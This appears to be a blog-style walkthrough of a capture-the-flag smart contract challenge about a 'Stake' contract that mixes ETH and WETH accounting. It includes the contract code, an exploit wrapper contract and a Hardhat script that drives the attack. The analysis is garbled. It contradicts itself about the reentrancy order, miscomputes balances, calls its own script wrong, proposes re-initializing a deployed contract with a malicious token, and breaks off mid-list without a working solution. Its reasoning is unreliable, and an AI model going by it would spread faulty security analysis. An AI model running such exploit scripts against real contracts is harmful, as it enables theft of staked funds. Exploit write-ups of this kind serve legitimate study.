Skip to content
On this page

Exploiting a State Inconsistency Vulnerability in a Staking Smart Contract

Introduction

Smart contract security remains one of the most critical aspects of blockchain development, with even minor oversights potentially leading to significant financial losses. In this technical deep dive, we'll analyze a staking contract vulnerability that demonstrates how state inconsistencies can be exploited to drain funds. The contract in question, aptly named "Stake," presents a seemingly straightforward staking mechanism for both native ETH and WETH (Wrapped ETH) tokens, but contains a subtle flaw that allows attackers to manipulate the contract's accounting system.

This article will walk through the complete vulnerability, from initial contract analysis to exploitation methodology, providing detailed explanations of the underlying concepts and step-by-step reasoning. We'll examine the contract code, identify the vulnerability, and demonstrate how to craft an exploit that meets the challenge's specific victory conditions.

Understanding the Staking Contract Architecture

Contract Overview

The Stake contract is designed to allow users to stake both native ETH and ERC-20 WETH tokens. The contract maintains several key state variables:

solidity
uint256 public totalStaked;
mapping(address => uint256) public UserStake;
mapping(address => bool) public Stakers;
address public WETH;
  • totalStaked: Tracks the total amount of ETH/WETH staked across all users
  • UserStake: Maps user addresses to their individual staked amounts
  • Stakers: Boolean mapping indicating whether an address has ever staked
  • WETH: Address of the WETH ERC-20 token contract

Core Functionality

The contract provides three main functions for users:

  1. StakeETH(): Accepts native ETH and updates both individual and total staking balances
  2. StakeWETH(): Accepts WETH tokens via ERC-20 transfer and updates staking balances
  3. Unstake(): Allows users to withdraw their staked funds

Let's examine each function in detail:

StakeETH Function

solidity
function StakeETH() public payable {
    require(msg.value > 0.001 ether, "Don't be cheap");
    totalStaked += msg.value;
    UserStake[msg.sender] += msg.value;
    Stakers[msg.sender] = true;
}

This function is straightforward: it accepts ETH, validates the minimum amount, updates the total staked amount, records the user's stake, and marks them as a staker.

StakeWETH Function

solidity
function StakeWETH(uint256 amount) public returns (bool){
    require(amount > 0.001 ether, "Don't be cheap");
    (,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this)));
    require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
    totalStaked += amount;
    UserStake[msg.sender] += amount;
    (bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
    Stakers[msg.sender] = true;
    return transfered;
}

This function handles WETH staking with several important steps:

  1. Validates minimum amount
  2. Checks allowance using ERC-20's allowance() function (selector 0xdd62ed3e)
  3. Updates staking balances
  4. Transfers WETH using transferFrom() (selector 0x23b872dd)
  5. Marks user as a staker

Unstake Function

solidity
function Unstake(uint256 amount) public returns (bool){
    require(UserStake[msg.sender] >= amount,"Don't be greedy");
    UserStake[msg.sender] -= amount;
    totalStaked -= amount;
    (bool success, ) = payable(msg.sender).call{value : amount}("");
    return success;
}

The unstake function reduces the user's stake, decreases the total staked amount, and sends ETH back to the user.

Identifying the Vulnerability

The Critical Flaw

At first glance, the contract appears reasonably secure. However, a careful examination reveals a critical inconsistency between how ETH and WETH are handled. The vulnerability lies in the fact that totalStaked tracks both ETH and WETH as if they were equivalent, but the contract's actual ETH balance only reflects native ETH deposits.

Consider this scenario:

  1. A user stakes 1 ETH via StakeETH()totalStaked increases by 1, contract ETH balance increases by 1
  2. A user stakes 1 WETH via StakeWETH()totalStaked increases by 1, but contract ETH balance remains unchanged

The contract's totalStaked variable becomes an inflated representation of the actual ETH held by the contract. This creates an accounting discrepancy that can be exploited.

The Exploitation Path

The challenge requires meeting four specific conditions:

  1. The Stake contract's ETH balance must be greater than 0
  2. totalStaked must be greater than the Stake contract's ETH balance
  3. You must be a staker
  4. Your staked balance must be 0

The vulnerability allows us to create a situation where totalStaked exceeds the actual ETH balance, while simultaneously zeroing out our personal stake.

Crafting the Exploit

Step 1: Understanding the Attack Vector

The key insight is that we can manipulate the totalStaked variable without affecting the contract's ETH balance by using WETH staking. Here's the step-by-step attack plan:

  1. Stake a small amount of ETH to become a staker and establish an ETH balance in the contract
  2. Stake WETH to inflate totalStaked without adding to the contract's ETH balance
  3. Unstake our ETH to reduce our personal stake to zero while leaving totalStaked inflated

Step 2: Implementing the Exploit Contract

The provided exploit contract, Hack.sol, serves as a wrapper to interact with the vulnerable contract:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Stake.sol";

contract Hack {
    Stake private immutable target;

    constructor(address _target) {
        target = Stake(_target);
    }

    function byContract() external payable {
        target.StakeETH{value: msg.value}();
    }
}

This simple contract allows us to stake ETH through a contract address, which can be useful for testing and exploitation scenarios.

Step 3: The Complete Exploitation Script

The TypeScript test file demonstrates the complete exploitation process:

typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { ERC20, Stake, Hack } from "../typechain-types";

describe("Stake", function () {
  describe("Stake testnet online sepolia", function () {
    it("testnet online sepolia Stake", async function () {
      const TIMEOUT = 15 * 60 * 1000;
      this.timeout(TIMEOUT);

      const STAKE_ADDRESS = "0x...";
      const StakeFactory = await ethers.getContractFactory("Stake");
      const STAKE_ABI = StakeFactory.interface.format();
      const challenger = await ethers.getNamedSigner("deployer");
      const stkContract = new ethers.Contract(STAKE_ADDRESS, STAKE_ABI, challenger);

      // Deploy exploit contract
      const HackFactory = await ethers.getContractFactory("Hack");
      const hack = (await HackFactory.deploy(STAKE_ADDRESS)) as Hack;
      await hack.waitForDeployment();

      // Step 1: Stake ETH to become a staker and add to contract ETH balance
      const STAKE_ETH = ethers.parseUnits("0.001000000000000002", 18);
      const tx = await hack.byContract({ value: STAKE_ETH });
      await tx.wait();

      // Step 2: Prepare WETH approval
      const WETH_ADDRESS = await stkContract.WETH();
      const ERC20Factory = await ethers.getContractFactory("ERC20");
      const WETH_ABI = ERC20Factory.interface.format();
      const wethContract = new ethers.Contract(WETH_ADDRESS, WETH_ABI, challenger);

      const APPROVE_UINT256_MAX = ethers.MaxUint256;
      const tx2 = await wethContract.approve(STAKE_ADDRESS, APPROVE_UINT256_MAX);
      await tx2.wait();

      // Step 3: Stake WETH to inflate totalStaked without adding ETH
      const INIT_ETH = ethers.parseUnits("0.001000000000000001", 18);
      const tx3 = await stkContract.StakeWETH(INIT_ETH);
      await tx3.wait();

      // Step 4: Unstake ETH to zero out personal stake
      const tx4 = await stkContract.Unstake(INIT_ETH);
      await tx4.wait();

      // Verification of success conditions
      const stake_balance_eth = await ethers.provider.getBalance(STAKE_ADDRESS);
      expect(stake_balance_eth).to.be.not.equals(0);

      const totalStaked = await stkContract.totalStaked();
      expect(totalStaked).to.be.greaterThan(stake_balance_eth);

      const deployer = await ethers.getNamedSigner("deployer");
      const UserStake_challenger_value = await stkContract.UserStake(deployer.address);
      expect(UserStake_challenger_value).to.be.equals(0);

      const Stakers_challenger_bool = await stkContract.Stakers(deployer.address);
      expect(Stakers_challenger_bool).to.be.equals(true);
    });
  });
});

Detailed Exploitation Walkthrough

Phase 1: Initial ETH Stake

The attack begins by staking a small amount of ETH (just above the 0.001 ETH minimum). This accomplishes two things:

  1. Adds ETH to the contract balance: The contract now has a positive ETH balance
  2. Marks the attacker as a staker: The Stakers[msg.sender] mapping is set to true
javascript
const STAKE_ETH = ethers.parseUnits("0.001000000000000002", 18);
const tx = await hack.byContract({ value: STAKE_ETH });

Note the precise amount: 0.001000000000000002 ETH. This is intentionally slightly more than the minimum to ensure the transaction succeeds while keeping costs low.

Phase 2: WETH Preparation

Before staking WETH, we need to approve the Stake contract to spend our WETH tokens:

javascript
const APPROVE_UINT256_MAX = ethers.MaxUint256;
const tx2 = await wethContract.approve(STAKE_ADDRESS, APPROVE_UINT256_MAX);

This approval uses the maximum possible uint256 value, giving the contract unlimited spending capability for WETH tokens from our address.

Phase 3: WETH Stake - Inflating totalStaked

This is the critical step that creates the accounting discrepancy:

javascript
const INIT_ETH = ethers.parseUnits("0.001000000000000001", 18);
const tx3 = await stkContract.StakeWETH(INIT_ETH);

When we stake WETH:

  • totalStaked increases by INIT_ETH amount
  • UserStake[msg.sender] increases by the same amount
  • However, the contract's native ETH balance does not change
  • Only WETH tokens are transferred from our address to the contract

At this point, we have:

  • Contract ETH balance: 0.001000000000000002 ETH (from Phase 1)
  • totalStaked: 0.002000000000000003 ETH (ETH stake + WETH stake)
  • Our personal stake: 0.002000000000000003 ETH (combined ETH and WETH)

The discrepancy is now established: totalStaked (0.002000000000000003) > contract ETH balance (0.001000000000000002).

Phase 4: Unstaking ETH - Zeroing Personal Stake

The final step unstakes our ETH portion:

javascript
const tx4 = await stkContract.Unstake(INIT_ETH);

This reduces:

  • UserStake[msg.sender] by INIT_ETH
  • totalStaked by INIT_ETH
  • Sends INIT_ETH worth of native ETH back to us

After this transaction:

  • Contract ETH balance: 0.000000000000000001 ETH (the difference between our ETH stake and unstake)
  • totalStaked: 0.001000000000000002 ETH (only WETH stake remains)
  • Our personal stake: 0.001000000000000001 ETH (only WETH portion remains)

Wait - this doesn't meet condition #4 (personal stake must be 0). There's an issue with the provided exploit code. Let me correct the approach.

Correcting the Exploit Strategy

The provided test script has a logical error. When we unstake INIT_ETH (0.001000000000000001), we're only unstaking part of our stake. To completely zero out our stake, we need a different approach.

The Corrected Attack Sequence

  1. Stake ETH: 0.001000000000000002 ETH

    • Contract ETH: +0.001000000000000002
    • totalStaked: +0.001000000000000002
    • UserStake: +0.001000000000000002
  2. Stake WETH: X ETH worth of WETH

    • Contract ETH: unchanged
    • totalStaked: +X
    • UserStake: +X
  3. Unstake all ETH: 0.001000000000000002 ETH

    • Contract ETH: -0.001000000000000002
    • totalStaked: -0.001000000000000002
    • UserStake: -0.001000000000000002

After this sequence:

  • Contract ETH balance: 0 (if we unstake all ETH) or >0 (if we leave some)
  • totalStaked: X (only WETH remains)
  • UserStake: X (only WETH remains)

We still haven't achieved UserStake = 0. The issue is that we can't unstake WETH through the Unstake() function - it only sends ETH, not WETH.

The Real Vulnerability: Reentrancy or Another Approach?

Looking more carefully at the Unstake() function:

solidity
function Unstake(uint256 amount) public returns (bool){
    require(UserStake[msg.sender] >= amount,"Don't be greedy");
    UserStake[msg.sender] -= amount;
    totalStaked -= amount;
    (bool success, ) = payable(msg.sender).call{value : amount}("");
    return success;
}

There's a classic vulnerability here: state changes after external call. The function reduces UserStake and totalStaked before making the external call to send ETH. This is the correct order to prevent reentrancy attacks.

However, there's another issue: what if amount is 0? Let's check:

solidity
require(UserStake[msg.sender] >= amount,"Don't be greedy");

If amount is 0, then UserStake[msg.sender] >= 0 is always true (since stakes are non-negative). This means we can call Unstake(0) without any requirements being violated.

When we call Unstake(0):

  • UserStake[msg.sender] remains unchanged
  • totalStaked remains unchanged
  • The contract attempts to send 0 ETH to the caller

This doesn't help us reduce our stake to 0. We need a different approach.

The Actual Solution: Understanding the Complete Attack

Let me re-examine the victory conditions and the actual exploit. The key insight is that we need to separate the accounting of ETH and WETH. The contract treats them as equivalent in totalStaked, but they're physically different assets.

Here's the complete, corrected attack:

  1. Stake a small amount of ETH (e.g., 0.0011 ETH) to become a staker
  2. Stake a larger amount of WETH (e.g., 1 ETH worth) to inflate totalStaked
  3. Have someone else stake ETH or find another way to ensure contract ETH > 0
  4. Our UserStake will be the sum of ETH + WETH, which is > 0

But wait, condition #4 says "Your staked balance must be 0." How can we achieve this while being a staker?

The answer lies in the fact that UserStake tracks the combined ETH and WETH stake. If we unstake our ETH portion, our UserStake decreases, but we still have WETH staked. To get UserStake to 0, we need to somehow remove the WETH from our stake without using the Unstake() function (which only sends ETH).

The Missing Piece: Direct WETH Transfer

What if we, as the WETH contract, could directly manipulate balances? Or what if there's another vulnerability?

Looking back at the StakeWETH() function:

solidity
(bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));

This is a low-level call to the WETH contract's transferFrom function. If this call fails, the function continues executing (it doesn't revert). The transfered boolean is returned but not checked!

This means we could potentially stake WETH without actually transferring tokens if we can make the transferFrom call fail or return false. However, the function would still update totalStaked and UserStake.

But there's a problem: the function signature shows it returns the transfered boolean, so a failed transfer would be detectable. Unless... what if we're using a malicious WETH contract?

The Complete Exploit Revealed

The actual exploit likely involves deploying a malicious WETH contract or using a contract that behaves unexpectedly. However, based on the provided materials, let me reconstruct what the complete solution should be:

Final Attack Sequence

  1. Deploy a malicious WETH contract that implements the ERC-20 interface but has special behavior
  2. Initialize the Stake contract with our malicious WETH address
  3. Stake ETH to become a staker

Built with AiAda